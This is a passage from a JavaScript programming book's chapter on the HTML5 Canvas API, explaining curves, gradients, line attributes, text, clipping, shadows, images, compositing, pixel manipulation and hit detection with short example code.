snowflake(c,4,565,115,125);  // A level-4 snowflake looks like a snowflake!
c.stroke();                  // Stroke this very complicated path
```

21.4.5 Drawing and Filling Curves

A path is a sequence of subpaths, and a subpath is a sequence of connected points. In the paths we defined in §21.4.1, those points were connected with straight line segments, but that need not always be the case. The CanvasRenderingContext2D object defines a number of methods that add a new point to the subpath and connect the current point to that new point with a curve:

`arc()`
: This method adds an arc to the current subpath. It connects the current point to the beginning of the arc with a straight line, and then connects the beginning of the arc to the end of the arc with a portion of a circle, leaving the end of the arc as the new current point. The arc to be drawn is specified with six parameters: the X and Y coordinates of the center of a circle, the radius of the circle, the start and end angles of the arc, and the direction (clockwise or counterclockwise) of the arc between those two angles.

`arcTo()`
: This method draws a straight line and a circular arc just like the `arc()` method does, but it specifies the arc to be drawn using different parameters. The arguments to `arcTo()` specify points P1 and P2 and a radius. The arc that is added to the path has the specified radius and is tangent to the line between the current point and P1 and also the line between P1 and P2. This unusual-seeming method of specifying arcs is actually quite useful for drawing shapes with rounded corners. If you specify a radius of 0, this method just draws a straight line from the current point to P1. With a nonzero radius, however, it draws a straight line from the current point in the direction of P1 then curves that line around in a circle until it is heading in the direction of P2.

`bezierCurveTo()`
: This method adds a new point P to the subpath and connects it to the current point with a cubic Bezier curve. The shape of the curve is specified by two "control points" C1 and C2. At the start of the curve (at the current point), the curve heads in the direction of C1. At the end of the curve (at point P), the curve arrives from the direction of C2. In between these points the direction of the curve varies smoothly. The point P becomes the new current point for the subpath.

`quadraticCurveTo()`
: This method is like `bezierCurveTo()`, but it uses a quadratic Bezier curve instead of a cubic Bezier curve and has only a single control point.

You can use these methods to draw paths like those in Figure 21-9.

Figure 21-9. Curved paths in a canvas

Example 21-7 shows the code used to create Figure 21-9. The methods demonstrated in this code are some of the most complicated in the Canvas API; see the reference section for complete details on the methods and their arguments.

Example 21-7. Adding curves to a path

```
// A utility function to convert angles from degrees to radians
function rads(x) { return Math.PI*x/180; }

// Draw a circle. Scale and rotate if you want an ellipse instead.
// There is no current point, so draw just the circle with no straight
// line from the current point to the start of the circle.
c.beginPath();
c.arc(75,100,50,          // Center at (75,100), radius 50
      0,rads(360),false); // Go clockwise from 0 to 360 degrees

// Draw a wedge. Angles are measured clockwise from the positive x axis.
// Note that arc() adds a line from the current point to the arc start.
c.moveTo(200, 100);       // Start at the center of the circle
c.arc(200, 100, 50,       // Circle center and radius
      rads(-60), rads(0), // start at angle -60 and go to angle 0
      false);             // false means clockwise
c.closePath();            // Add radius back to the center of the circle

// Same wedge, opposite direction
c.moveTo(325, 100);
c.arc(325, 100, 50, rads(-60), rads(0), true); // counterclockwise
c.closePath();

// Use arcTo() for rounded corners. Here we draw a square with
// upper left corner at (400,50) and corners of varying radii.
c.moveTo(450, 50);           // Begin in the middle of the top edge.
c.arcTo(500,50,500,150,30);  // Add part of top edge and upper right corner.
```

```
c.arcTo(500,150,400,150,20); // Add right edge and lower right corner.
c.arcTo(400,150,400,50,10);  // Add bottom edge and lower left corner.
c.arcTo(400,50,500,50,0);    // Add left edge and upper left corner.
c.closePath();               // Close path to add the rest of the top edge.

// Quadratic Bezier curve: one control point
c.moveTo(75, 250);                      // Begin at (75,250)
c.quadraticCurveTo(100,200, 175, 250);  // Curve to (175,250)
c.fillRect(100-3,200-3,6,6);            // Mark the control point (100,200)

// Cubic Bezier curve
c.moveTo(200, 250);                       // Start at (200,250)
c.bezierCurveTo(220,220,280,280,300,250); // Curve to (300,250)
c.fillRect(220-3,220-3,6,6);              // Mark control points
c.fillRect(280-3,280-3,6,6);

// Define some graphics attributes and draw the curves
c.fillStyle = "#aaa";  // Gray fills
c.lineWidth = 5;       // 5-pixel black (by default) lines
c.fill();              // Fill the curves
c.stroke();            // Stroke their outlines
```

21.4.6 Rectangles

CanvasRenderingContext2D defines four methods for drawing rectangles. Example 21-7 used one of them, `fillRect()`, to mark the control points of the Bezier curves. All four of these rectangle methods expect two arguments that specify one corner of the rectangle followed by the rectangle width and height. Normally, you specify the upper left corner and then pass a positive width and positive height, but you may also specify other corners and pass negative dimensions.

`fillRect()` fills the specified rectangle with the current `fillStyle`. `strokeRect()` strokes the outline of the specified rectangle using the current `strokeStyle` and other line attributes. `clearRect()` is like `fillRect()`, but it ignores the current fill style and fills the rectangle with transparent black pixels (the default color of all blank canvases). The important thing about these three methods is that they do not affect the current path or the current point within that path.

The final rectangle method is named `rect()`, and it does affect the current path: it adds the specified rectangle, in a subpath of its own, to the path. Like other path-definition methods, it does not fill or stroke anything itself.

21.4.7 Colors, Transparency, Gradients, and Patterns

The `strokeStyle` and `fillStyle` attributes specify how lines are stroked and regions are filled. Most often, these attributes are used to specify opaque or translucent colors, but you can also set them to CanvasPattern or CanvasGradient objects to stroke or fill with a repeated background image or with a linear or radial color gradient. In addition, you can set the `globalAlpha` property to make everything you draw translucent.

To specify a solid color, use one of the color names defined by the HTML4 standard,[1] or use a CSS color string:

```
context.strokeStyle = "blue";   // Stroke lines in blue
context.fillStyle = "#aaa";     // Fill areas with light gray
```

The default value for both `strokeStyle` and `fillStyle` is "#000000": opaque black.

Current browsers support CSS3 colors and allow the use of the RGB, RGBA, HSL, and HSLA color spaces in addition to basic hexadecimal RGB colors. Here are some examples:

```
var colors = [
    "#f44",                      // Hexadecimal RGB value: red
    "#44ff44",                   // Hexadecimal RRGGBB value: green
    "rgb(60, 60, 255)",          // RGB as integers 0-255: blue
    "rgb(100%, 25%, 100%)",      // RGB as percentages: purple
    "rgba(100%, 25%, 100%, 0.5)", // RGB plus alpha 0-1: translucent purple
    "rgba(0,0,0,0)",             // Completely transparent black
    "transparent",               // Synonym for the above
    "hsl(60, 100%, 50%)",        // Fully saturated yellow
    "hsl(60, 75%, 50%)",         // Less saturated yellow
    "hsl(60, 100%, 75%)",        // Fully saturated yellow, lighter
    "hsl(60, 100%, 25%)",        // Fully saturated yellow, darker
    "hsla(60, 100%, 50%, 0.5)",  // Fully saturated yellow, 50% opaque
];
```

The HSL color space defines a color with three numbers that specify its hue, saturation, and lightness. Hue is an angle in degrees around a color wheel. A hue of 0 is red, 60 is yellow, 120 is green, 180 is cyan, 240 is blue, 300 is magenta, and 360 is back to red again. Saturation describes the intensity of the color, and it is specified as a percentage. Colors with 0 percent saturation are shades of gray. Lightness describes how light or dark a color is and is also specified as a percentage. Any HSL color with 100 percent lightness is pure white, and any color with 0 percent lightness is pure black. The HSLA color space is just like HSL, but it adds an alpha value that ranges from 0.0 (transparent) to 1.0 (opaque).

If you want to work with translucent colors, but do not want to explicitly specify an alpha channel for each color, or if you want to add translucency to opaque images or patterns (for example), you can set the `globalAlpha` property. Every pixel you draw will have its alpha value multiplied by `globalAlpha`. The default is 1, which adds no transparency. If you set `globalAlpha` to 0, everything you draw will be fully transparent and nothing will appear in the canvas. If you set this property to 0.5, pixels that would otherwise have been opaque will be 50 percent opaque. And pixels that would have been 50 percent opaque will be 25 percent opaque instead. If you set `globalAlpha`, all your pixels will be translucent and you may have to consider how those pixels are combined (or "composited") with the pixels they are drawn over—see §21.4.13 for details about Canvas compositing modes.

1. Aqua, black, blue, fuchsia, gray, green, lime, maroon, navy, olive, purple, red, silver, teal, white, and yellow.

Instead of drawing with solid (but possibly translucent) colors, you can also use color gradients and repeating images when filling and stroking paths. Figure 21-10 shows a rectangle stroked with wide lines and a patterned stroke style on top of a linear gradient fill and underneath a translucent radial gradient fill. The code fragments below show how the pattern and gradients were created.

To fill or stroke using a background image pattern instead of a color, set `fillStyle` or `strokeStyle` to the CanvasPattern object returned by the `createPattern()` method of the context object:

```
var image = document.getElementById("myimage");
c.fillStyle = c.createPattern(image, "repeat");
```

The first argument to `createPattern()` specifies the image to use as the pattern. It must be an `<img>`, `<canvas>`, or `<video>` element from the document (or an image object created with the `Image()` constructor). The second argument is typically "repeat" for a repeating image fill that is independent of the size of the image, but you can also use "repeat-x", "repeat-y", or "no-repeat".

Note that you can use a `<canvas>` element (even one that has never been added to the document and is not visible) as the pattern source for another `<canvas>`:

```
var offscreen = document.createElement("canvas");  // Create an offscreen canvas
offscreen.width = offscreen.height = 10;           // Set its size
offscreen.getContext("2d").strokeRect(0,0,6,6);    // Get its context and draw
var pattern = c.createPattern(offscreen,"repeat"); // And use it as a pattern
```

To fill (or stroke) with a color gradient, set `fillStyle` (or `strokeStyle`) to a CanvasGradient object returned by the `createLinearGradient()` or `createRadialGradient()` methods of the context. Creating gradients is a multistep process, and using them is trickier than using patterns.

The first step is to create the CanvasGradient object. The arguments to `createLinearGradient()` are the coordinates of two points that define a line (it does not need to be horizontal or vertical) along which the colors will vary. The arguments to `createRadialGradient()` specify the centers and radii of two circles. (They need not be concentric, but the first circle typically lies entirely inside the second.) Areas inside the smaller circle or outside the larger will be filled with solid colors: areas between the two will be filled with a color gradient.

After creating the CanvasGradient object and defining the regions of the canvas that will be filled, you must define the gradient colors by calling the `addColorStop()` method of the CanvasGradient. The first argument to this method is a number between 0.0 and 1.0. The second argument is a CSS color specification. You must call this method at least twice to define a simple color gradient, but you may call it more than that. The color at 0.0 will appear at the start of the gradient, and the color at 1.0 will appear at the end. If you specify additional colors, they will appear at the specified fractional position within the gradient. Elsewhere, colors will be smoothly interpolated. Here are some examples:

```
// A linear gradient, diagonally across the canvas (assuming no transforms)
var bgfade = c.createLinearGradient(0,0,canvas.width,canvas.height);
bgfade.addColorStop(0.0, "#88f");  // Start with light blue in upper left
bgfade.addColorStop(1.0, "#fff");  // Fade to white in lower right

// A gradient between two concentric circles. Transparent in the middle
// fading to translucent gray and then back to transparent.
var peekhole = c.createRadialGradient(300,300,100, 300,300,300);
peekhole.addColorStop(0.0, "transparent");           // Transparent
peekhole.addColorStop(0.7, "rgba(100,100,100,.9)");  // Translucent gray
peekhole.addColorStop(1.0, "rgba(0,0,0,0)");         // Transparent again
```

An important point to understand about gradients is that they are not position-independent. When you create a gradient, you specify bounds for the gradient. If you then attempt to fill an area outside of those bounds, you'll get the solid color defined at one end or the other of the gradient. If you define a gradient along the line between (0,0) and (100, 100), for example, you should only use that gradient to fill objects located within the rectangle (0,0,100,100).

The graphic shown in Figure 21-10 was created with the `pattern` pattern and the `bgfade` and `peekhole` gradients defined above using this code:

```
c.fillStyle = bgfade;           // Start with the linear gradient
c.fillRect(0,0,600,600);        // Fill the entire canvas
c.strokeStyle = pattern;        // Use the pattern for stroking lines
c.lineWidth = 100;              // Use really wide lines
c.strokeRect(100,100,400,400);  // Draw a big square
c.fillStyle = peekhole;         // Switch to the radial gradient
c.fillRect(0,0,600,600);        // Cover canvas with this translucent fill
```

21.4.8 Line Drawing Attributes

You've already seen the `lineWidth` property, which specifies the width of the lines drawn by `stroke()` and `strokeRect()`. In addition to `lineWidth` (and `strokeStyle`, of course), there are three other graphics attributes that affect line drawing.

The default value of the `lineWidth` property is 1, and you can set it to any positive number, even fractional values less than 1. (Lines that are less than one pixel wide are drawn with translucent colors, so they look less dark than 1-pixel-wide lines). To fully understand the `lineWidth` property, it is important to visualize paths as infinitely thin one-dimensional lines. The lines and curves drawn by the `stroke()` method are centered over the path, with half of the `lineWidth` on either side. If you're stroking a closed path and only want the line to appear outside the path, stroke the path first, and then fill with an opaque color to hide the portion of the stroke that appears inside the path. Or if you only want the line to appear inside a closed path, call the `save()` and `clip()` methods (§21.4.10) first, and then call `stroke()` and `restore()`.

Line widths are affected by the current transformation, as you may be able to make out in the scaled axes of Figure 21-7. If you call `scale(2,1)` to scale the X dimension and leave Y unaffected, vertical lines will be twice as wide as horizontal lines drawn with the same `lineWidth` setting. It is important to understand that line width is determined

Figure 21-10. Pattern and gradient fills

by the `lineWidth` and the current transform at the time `stroke()` is called, not at the time that `lineTo()` or another path-building method is called.

The other three line drawing attributes affect the appearance of the unconnected ends of paths and the vertexes where two path segments meet. They have very little visual impact for narrow lines, but they make a big difference when you are drawing with wide lines. Two of these properties are illustrated in Figure 21-11. The figure shows the path as a thin black line and the stroke as the gray area that surrounds it.

Figure 21-11. The lineCap and lineJoin attributes

The `lineCap` property specifies how the ends of an open subpath are "capped." The value "butt" (the default) means that the line terminates abruptly at the end point. The value "square" means that the line extends, by half of the line width, beyond the endpoint. And the value "round" means that the line is extended with a half circle (of radius one-half the line width) beyond the endpoint.

The `lineJoin` property specifies how the vertexes between subpath segments are connected. The default value is "miter", which means that the outside edges of the two path segments are extended until they meet at a point. The value "round" means that the vertex is rounded off, and the value "bevel" means that the vertex is cut off with a straight line.

The final line drawing property is `miterLimit`, which only applies when `lineJoin` is "miter". When two lines meet at a sharp angle, the miter between them can become quite long, and these long jagged miters are visually distracting. The `miterLimit` property places an upper bound on miter length. If the miter at a given vertex would be longer than half of the line width times `miterLimit`, that vertex will be drawn with a beveled join instead of a mitered join.

21.4.9 Text

To draw text in a canvas, you normally use the `fillText()` method, which draws text using the color (or gradient or pattern) specified by the `fillStyle` property. For special effects at large text sizes, you can use `strokeText()` to draw the outline of the individual text glyphs (an example of outlined text appears in Figure 21-13). Both methods take the text to be drawn as their first argument and take the X and Y coordinates of the text as the second and third arguments. Neither method affects the current path or the current point. As you can see in Figure 21-7, text is affected by the current transformation.

The `font` property specifies the font to be used for text drawing. The value should be a string in the same syntax as the CSS `font` attribute. Some examples:

```
"48pt sans-serif"
"bold 18px Times Roman"
"italic 12pt monospaced"
"bolder smaller serif"   // bolder and smaller than the font of the <canvas>
```

The `textAlign` property specifies how the text should be horizontally aligned with respect to the X coordinate passed to `fillText()` or `strokeText()`. The `textBaseline` property specifies how the text should be vertically aligned with respect to the Y coordinate. Figure 21-12 illustrates the allowed values for these properties. The thin line near each string of text is the baseline, and the small square marks the point `(x,y)` that was passed to `fillText()`.

Figure 21-12. The textAlign and textBaseline properties

The default `textAlign` is "start". Note that for left-to-right text, an alignment of "start" is the same as "left" and an alignment of "end" is the same as "right". If you set the `dir` attribute of the `<canvas>` element to "rtl" (right-to-left), however, "start" alignment is the same and "right" alignment and "end" is the same as "left".

The default `textBaseline` is "alphabetic", and it is appropriate for Latin and similar scripts. The value "ideographic" is used with ideographic scripts such as Chinese and Japanese. The value "hanging" is intended for use with Devangari and similar scripts (which are used for many of the languages of India). The "top", "middle", and "bottom" baselines are purely geometric baselines, based on the "em square" of the font.

`fillText()` and `strokeText()` take an optional fourth argument. If given, this argument specifies the maximum width of the text to be displayed. If the text would be wider than the specified value when drawn using the `font` property, the canvas will make it fit by scaling it or by using a narrower or smaller font.

If you need to measure text yourself before drawing it, pass it to the `measureText()` method. This method returns a TextMetrics object that specifies the measurements of the text when drawn with the current `font`. At the time of this writing, the only "metric" contained in the `TextMetrics` object is the width. Query the on-screen width of a string like this:

```
var width = c.measureText(text).width;
```

21.4.10 Clipping

After defining a path, you usually call `stroke()` or `fill()` (or both). You can also call the `clip()` method to define a clipping region. Once a clipping region is defined, nothing will be drawn outside of it. Figure 21-13 shows a complex drawing produced using clipping regions. The vertical stripe running down the middle and the text along the bottom of the figure were stroked with no clipping region and then filled after the triangular clipping region was defined.

Figure 21-13. Unclipped strokes and clipped fills

Figure 21-13 was generated using the `polygon()` method of Example 21-4 and the following code:

```
// Define some drawing attributes
c.font = "bold 60pt sans-serif";    // Big font
c.lineWidth = 2;                    // Narrow lines
c.strokeStyle = "#000";             // Black lines

// Outline a rectangle and some text
c.strokeRect(175, 25, 50, 325);     // A vertical stripe down the middle
c.strokeText("<canvas>", 15, 330);  // Note strokeText() instead of fillText()

// Define a complex path with an interior that is outside.
polygon(c,3,200,225,200);           // Large triangle
polygon(c,3,200,225,100,0,true);    // Smaller reverse triangle inside
```


Download from Wow! eBook <www.wowebook.com>

```
// Make that path the clipping region.
c.clip();

// Stroke the path with a 5 pixel line, entirely inside the clipping region.
c.lineWidth = 10;       // Half of this 10 pixel line will be clipped away
c.stroke();

// Fill the parts of the rectangle and text that are inside the clipping region
c.fillStyle = "#aaa"              // Light gray
c.fillRect(175, 25, 50, 325);     // Fill the vertical stripe
c.fillStyle = "#888"              // Darker gray
c.fillText("<canvas>", 15, 330);  // Fill the text
```


It is important to note that when you call `clip()`, the current path is itself clipped to the current clipping region, and then that clipped path becomes the new clipping region. This means that the `clip()` method can shrink the clipping region but can never enlarge it. There is no method to reset the clipping region, so before calling `clip()` you should typically call `save()`, so that you can later `restore()` the unclipped region.

21.4.11 Shadows

Four graphics attribute properties of the CanvasRenderingContext2D object control the drawing of drop shadows. If you set these properties appropriately, any line, area, text, or image you draw will be given a drop shadow, which will make it appear as if it is floating above the canvas surface. Figure 21-14 shows shadows beneath a filled rectangle, a stroked rectangle, and filled text.

The `shadowColor` property specifies the color of the shadow. The default is fully transparent black, and shadows will never appear unless you set this property to a translucent or opaque color. This property can only be set to a color string: patterns and gradients are not allowed for shadows. Using a translucent shadow color produces the most realistic shadow effects because it allows the background to show through.

The `shadowOffsetX` and `shadowOffsetY` properties specify the X and Y offsets of the shadow. The default for both properties is 0, which places the shadow directly beneath your drawing, where it is not visible. If you set both properties to a positive value, shadows will appear below and to the right of what you draw, as if there were a light source above and to the left, shining onto the canvas from outside the computer screen. Larger offsets produce larger shadows and make drawn objects appear as if they are floating "higher" above the canvas.

The `shadowBlur` property specifies how blurred the edges of the shadow are. The default value is 0, which produces crisp, unblurred shadows. Larger values produce more blur, up to an implementation-defined upper bound. This property is a parameter to a Gaussian blur function and is not a size or length in pixels.

Example 21-8 shows the code used to produce Figure 21-14 and demonstrates each of these four shadow properties.

Figure 21-14. Automatically generated shadows

Example 21-8. Setting shadow attributes

```
// Define a subtle shadow
c.shadowColor = "rgba(100,100,100,.4)"; // Translucent gray
c.shadowOffsetX = c.shadowOffsetY = 3;  // Shadow offset to lower right
c.shadowBlur = 5;                       // Soften shadow edges

// Draw some text in a blue box using that shadow
c.lineWidth = 10;
c.strokeStyle = "blue";
c.strokeRect(100, 100, 300, 200);       // Draw a rectangle
c.font = "Bold 36pt Helvetica";
c.fillText("Hello World", 115, 225);    // Draw some text

// Define a less subtle shadow. A larger offset makes items "float" higher.
// Note how the transparent shadow overlaps the blue box.
c.shadowOffsetX = c.shadowOffsetY = 20;
c.shadowBlur = 10;
c.fillStyle = "red";                    // Draw a solid red rectangle
c.fillRect(50,25,200,65);               // that floats above the blue box
```

The `shadowOffsetX` and `shadowOffsetY` properties are always measured in the default coordinate space and are not affected by the `rotate()` or `scale()` methods. Suppose,

for example, that you rotate the coordinate system by 90 degrees to draw some vertical text and then restore the old coordinate system to draw horizontal text. Both the vertical and horizontal text will have shadows oriented in the same direction, which is what you probably want. Similarly, shapes drawn with different scaling transforms will still have shadows of the same "height".[2]

21.4.12 Images

In addition to vector graphics (paths, lines, etc.), the Canvas API also supports bitmap images. The `drawImage()` method copies the pixels of a source image (or of a rectangle within the source image) onto the canvas, scaling and rotating the pixels of the image as necessary.

`drawImage()` can be invoked with three, five, or nine arguments. In all cases, the first argument is the source image from which pixels are to be copied. This image argument is often an `<img>` element or an off-screen image created with the `Image()` constructor, but it can also be another `<canvas>` element or even a `<video>` element. If you specify an `<img>` or `<video>` element that is still loading its data, the `drawImage()` call will do nothing.

In the three-argument version of `drawImage()`, the second and third arguments specify the X and Y coordinates at which the upper left corner of the image is to be drawn. In this version of the method, the entire source image is copied to the canvas. The X and Y coordinates are interpreted in the current coordinate system and the image is scaled and rotated if necessary.

The five-argument version of `drawImage()` adds `width` and `height` arguments to the `x` and `y` arguments described above. These four arguments define a destination rectangle within the canvas. The upper left corner of the source image goes at `(x,y)` and the lower right corner goes at `(x+width, y+height)`. Again, the entire source image is copied. The destination rectangle is measured in the current coordinate system. With this version of the method, the source image will be scaled to fit the destination rectangle, even if no scaling transform has ever been specified.

The nine-argument version of `drawImage()` specifies both a source rectangle and a destination rectangle and copies only the pixels within the source rectangle. Arguments two through five specify the source rectangle. They are measured in CSS pixels. If the source image is another canvas the source rectangle uses the default coordinate system for that canvas and ignores any transformations that have been specified. Arguments six through nine specify the destination rectangle into which the image is drawn and are in the current coordinate system of the canvas, not in the default coordinate system.

Example 21-9 is a simple demonstration of `drawImage()`. It uses the nine-argument version to copy pixels from a portion of a canvas and draw them, enlarged and rotated

2. At the time of this writing, Google's Chrome browser, version 5, gets this wrong and transforms the shadow offsets.

back onto the same canvas. As you can see in Figure 21-15, the image is enlarged enough to be pixelated, and you can see the translucent pixels used to smooth the edges of the line.

Figure 21-15. Pixels enlarged with drawImage()

Example 21-9. Using drawImage()

```
// Draw a line in the upper left
c.moveTo(5,5);
c.lineTo(45,45);
c.lineWidth = 8;
c.lineCap = "round";
c.stroke();

// Define a transformation
c.translate(50,100);
c.rotate(-45*Math.PI/180); // Straighten out the line
c.scale(10,10);            // Enlarge it so we can see the individual pixels

// Use draw image to copy the line
c.drawImage(c.canvas,
            0, 0, 50, 50,  // source rectangle: untransformed
            0, 0, 50, 50); // destination rectangle: transformed
```

In addition to drawing images into a canvas, we can also extract the content of a canvas as an image using the `toDataURL()` method. Unlike all the other methods described here, `toDataURL()` is a method of the Canvas element itself, not of the CanvasRenderingContext2D object. You normally invoke `toDataURL()` with no arguments, and it returns the content of the canvas as a PNG image, encoded as a string using a `data:` URL. The returned URL is suitable for use with an `<img>` element, and you can make a static snapshot of a canvas with code like this:

```
var img = document.createElement("img");  // Create an <img> element
img.src = canvas.toDataURL();             // Set its src attribute
document.body.appendChild(img);           // Append it to the document
```

All browsers are required to support the PNG image format. Some implementations may support other formats as well, and you can specify the desired MIME type with the optional first argument to `toDataURL()`. See the reference page for details.

There is one important security restriction you must be aware of when using `toDataURL()`. To prevent cross-origin information leaks, `toDataURL()` does not work on

`<canvas>` elements that are not "origin-clean." A canvas is not origin-clean if it has ever had an image drawn in it (directly by `drawImage()` or indirectly through a CanvasPattern) that has a different origin than the document that contains the canvas.

21.4.13 Compositing

When you stroke lines, fill regions, draw text, or copy images, you expect the new pixels to be drawn on top of the pixels that are already in the canvas. If you are drawing opaque pixels, they simply replace the pixels that are already there. If you are drawing with translucent pixels, the new ("source") pixel is combined with the old ("destination") pixel so that the old pixel shows through the new pixel based on how transparent that pixel is.

This process of combining new translucent source pixels with existing destination pixels is called *compositing*, and the compositing process described above is the default way that the Canvas API combines pixels. You don't always want compositing to happen, however. Suppose you've drawn into a canvas using translucent pixels and now want to make a temporary alteration to the canvas and then restore it to its original state. An easy way to do this is to copy the canvas (or a region of it) to an offscreen canvas using `drawImage()`. Then, when it is time to restore the canvas, you can copy your pixels from the offscreen canvas in which you saved them back to the on-screen canvas. Remember, though, that the pixels you saved were translucent. If compositing is on, they won't fully obscure and erase the temporary drawing you've done. In this scenario, you need a way to turn compositing off: to draw the source pixels and ignore the destination pixels regardless of the transparency of the source.

To specify the kind of compositing to be done, set the `globalCompositeOperation` property. The default value is "source-over", which means that source pixels are drawn "over" the destination pixels and are combined with them if the source is translucent. If you set this property to "copy", compositing is turned off: source pixels are copied to the canvas unchanged and destination pixels are ignored. Another `globalCompositeOperation` value that is sometimes useful is "destination-over". This kind of compositing combines pixels as if the new source pixels were drawn beneath the existing destination pixels. If the destination is translucent or transparent, some or all of the source pixel color is visible in the resulting color.

"source-over", "destination-over", and "copy" are three of the most commonly used types of compositing, but the Canvas API supports 11 values for the `globalCompositeOperation` attribute. The names of these compositing operations are suggestive of what they do, and you can go a long way toward understanding compositing by combining the operation names with visual examples of how they work. Figure 21-16 illustrates all 11 operations using "hard" transparency: all the pixels involved are fully opaque or fully transparent. In each of the 11 boxes, the square is drawn first and serves as the destination. Next `globalCompositeOperation` is set, and the circle is drawn as the source.

Figure 21-16. Compositing operations with hard transparency

Figure 21-17 is a similar example that uses "soft" transparency. In this version, the source circle and destination square are drawn using color gradients so that the pixels have a range of transparencies.

You may find that it is not so easy to understand the compositing operations when used with translucent pixels like these. If you are interested in a deeper understanding, the reference page for `CanvasRenderingContext2D` includes the equations that specify how individual pixel values are computed from source and destination pixels for each of the 11 compositing operations.

At the time of this writing, browser vendors disagree on the implementation of 5 of the 11 compositing modes: "copy", "source-in", "source-out", "destination-atop", and "destination-in" behave differently in different browsers and cannot be used portably. A detailed explanation follows, but you can skip to the next section if you don't plan on using any of these compositing operations.

Figure 21-17. Compositing operations with soft transparency

The five compositing modes listed above either ignore the destination pixel values in the computation of result pixels or make the result transparent anywhere the source is transparent. The difference in implementation has to do with the definition of the source pixels. Safari and Chrome perform compositing "locally": only the pixels actually drawn by the `fill()`, `stroke()`, or other drawing operation count as part of the source. IE9 is likely to follow suit. Firefox and Opera perform compositing "globally": every pixel within the current clipping region is composited for every drawing operation. If the source does not set that pixel, it is treated as transparent black. In Firefox and Opera, this means that the five compositing modes listed above actually erase destination pixels outside of the source and inside the clipping region. Figures 21-16 and 21-17 were generated in Firefox, and this is why the boxes around "copy", "source-in", "source-out", "destination-atop", and "destination-in" are thinner than the other boxes: the rectangle around each sample is the clipping region and these four compositing operations erase the portion of the stroke (half of the `lineWidth`) that falls inside the path. For comparison, Figure 21-18 shows the same figure as Figure 21-17, but generated in Chrome.

Figure 21-18. Compositing locally rather than globally

The HTML5 draft current at the time of this writing specifies the global compositing approach implemented by Firefox and Opera. Browser vendors are aware of the incompatibility and are not satisfied with the current state of the specification. There is a distinct possibility that the specification will be altered to require local compositing instead of global compositing.

Finally, note that it is possible to perform global compositing in browsers like Safari and Chrome that implement local compositing. First, create a blank offscreen canvas of the same dimensions as the on-screen canvas. Then draw your source pixels into the offscreen canvas and use `drawImage()` to copy the offscreen pixels to the on-screen canvas and composite them globally within the clipping region. There is not a general technique for performing local compositing in browsers like Firefox that implement global compositing, but you can often come close by defining an appropriate clipping region before performing the drawing operation that is to be locally composited.

21.4.14 Pixel Manipulation

The `getImageData()` method returns an ImageData object that represents the raw (non-premultiplied) pixels (as R, G, B, and A components) from a rectangular region of your canvas. You can create empty blank `ImageData` objects with `createImageData()`. The pixels in an ImageData object are writable, so you can set them any way you want, and then copy those pixels back onto the canvas with `putImageData()`.

These pixel manipulation methods provide very low-level access to the canvas. The rectangle you pass to `getImageData()` is in the default coordinate system: its dimensions are measured in CSS pixels and it is not affected by the current transformation. When you call `putImageData()`, the position you specify is also measured in the default coordinate system. Furthermore, `putImageData()` ignores all graphics attributes. It does not perform any compositing, it does not multiply pixels by `globalAlpha`, and it does not draw shadows.

Pixel manipulation methods are useful for implementing image processing. Example 21-10 shows how to create a simple motion blur or "smear" effect on the graphics in a canvas. The example demonstrates `getImageData()` and `putImageData()` and shows how to iterate through and modify the pixel values in an ImageData object, but it does not explain these things in any detail. See the CanvasRenderingContext2D reference pages for complete details on `getImageData()` and `putImageData()` and see the ImageData reference page for details on that object.

Example 21-10. Motion blur with ImageData

```
// Smear the pixels of the rectangle to the right, producing a
// sort of motion blur as if objects are moving from right to left.
// n must be 2 or larger. Larger values produce bigger smears.
// The rectangle is specified in the default coordinate system.
function smear(c, n, x, y, w, h) {
    // Get the ImageData object that represents the rectangle of pixels to smear
    var pixels = c.getImageData(x,y,w,h);

    // This smear is done in-place and requires only the source ImageData.
    // Some image processing algorithms require an additional ImageData to
    // store transformed pixel values. If we needed an output buffer, we could
    // create a new ImageData with the same dimensions like this:
    //   var output_pixels = c.createImageData(pixels);

    // These dimensions may be different than w and h arguments: there may be
    // more than one device pixel per CSS pixel.
    var width = pixels.width, height = pixels.height;

    // This is the byte array that holds the raw pixel data, left-to-right and
    // top-to-bottom. Each pixel occupies 4 consecutive bytes in R,G,B,A order.
    var data = pixels.data;

    // Each pixel after the first in each row is smeared by replacing it with
    // 1/nth of its own value plus m/nths of the previous pixel's value
    var m = n-1;
```

```
    for(var row = 0; row < height; row++) {  // For each row
        var i = row*width*4 + 4;  // The offset of the second pixel of the row
        for(var col = 1; col < width; col++, i += 4) { // For each column
            data[i] =   (data[i] + data[i-4]*m)/n;     // Red pixel component
            data[i+1] = (data[i+1] + data[i-3]*m)/n;   // Green
            data[i+2] = (data[i+2] + data[i-2]*m)/n;   // Blue
            data[i+3] = (data[i+3] + data[i-1]*m)/n;   // Alpha component
        }
    }

    // Now copy the smeared image data back to the same position on the canvas
    c.putImageData(pixels, x, y);
}
```

Note that `getImageData()` is subject to the same cross-origin security restriction that the `toDataURL()` is: it does not work on any canvas that has ever had an image drawn in it (directly by `drawImage()` or indirectly through a CanvasPattern) that has a different origin than the document that contains the canvas.

21.4.15 Hit Detection

The method `isPointInPath()` determines whether a specified point falls within (or on the boundary of) the current path and returns `true` if so, or `false` otherwise. The point you pass to the method is in the default coordinate system and is not transformed. This makes this method useful for *hit detection*: determining whether a mouse click occurred over a particular shape.

You can't pass the `clientX` and `clientY` fields of a MouseEvent object directly to `isPointInPath()`, however. First, the mouse event coordinates must be translated to be relative to the canvas element rather than the Window object. Second, if the onscreen size of the canvas is different than its actual dimensions, the mouse event coordinates must be scaled appropriately. Example 21-11 shows a utility function you can use to determine whether a give MouseEvent was over the current path.

Example 21-11. Testing whether a mouse event is over the current path

```
// Returns true if the specified mouse event is over the current path
// in the specified CanvasRenderingContext2D object.
function hitpath(context, event) {
    // Get <canvas> element from the context object
    var canvas = context.canvas;

    // Get canvas size and position
    var bb = canvas.getBoundingClientRect();

    // Translate and scale mouse event coordinates to canvas coordinates
    var x = (event.clientX-bb.left)*(canvas.width/bb.width);
    var y = (event.clientY-bb.top)*(canvas.height/bb.height);

    // Call isPointInPath with these transformed coordinates
    return context.isPointInPath(x,y);
}
```

You might use this `hitpath()` function in an event handler like this:

```
canvas.onclick = function(event) {
    if (hitpath(this.getContext("2d"), event) {
        alert("Hit!");  // Click over current path
    }
};
```

Instead of doing path-based hit detection, you can use `getImageData()` to test whether the pixel under the mouse point has been painted. If the returned pixel (or pixels) are fully transparent, nothing has been drawn into that pixel and the mouse event is a miss. Example 21-12 shows how you can do this kind of hit detection.

Example 21-12. Testing whether a mouse event is over a painted pixel

```
// Returns true if the specified mouse event is over a nontransparent pixel.
